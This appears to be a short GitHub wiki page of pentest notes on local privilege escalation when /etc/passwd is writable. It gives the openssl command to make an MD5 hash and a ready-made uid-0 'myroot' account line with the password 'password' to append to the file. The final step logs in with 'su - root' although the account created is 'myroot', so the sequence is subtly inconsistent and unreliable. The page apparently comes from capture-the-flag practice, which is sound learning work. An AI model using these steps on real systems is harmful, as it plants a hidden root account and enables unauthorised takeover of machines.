-
Notifications
You must be signed in to change notification settings - Fork 14
Writable passwd
lethanhtung01011980 edited this page Jun 19, 2020
·
5 revisions
- Already has local access
- /etc/passwd is writable!!!
- To get root
- Ref: Step 30 onward: https://resources.infosecinstitute.com/hack-the-box-htb-walkthrough-apocalyst/#gref
- Create a MD5 password:
openssl passwd -1
- The password is "password": $1$NXsUWVax$kn/lKcdO5HebvVmbgSqTD1
- Append to /etc/passwd:
myroot:$1$NXsUWVax$kn/lKcdO5HebvVmbgSqTD1:0:0:myroot:/root:/bin/bash
- login as root with password "password":
su - root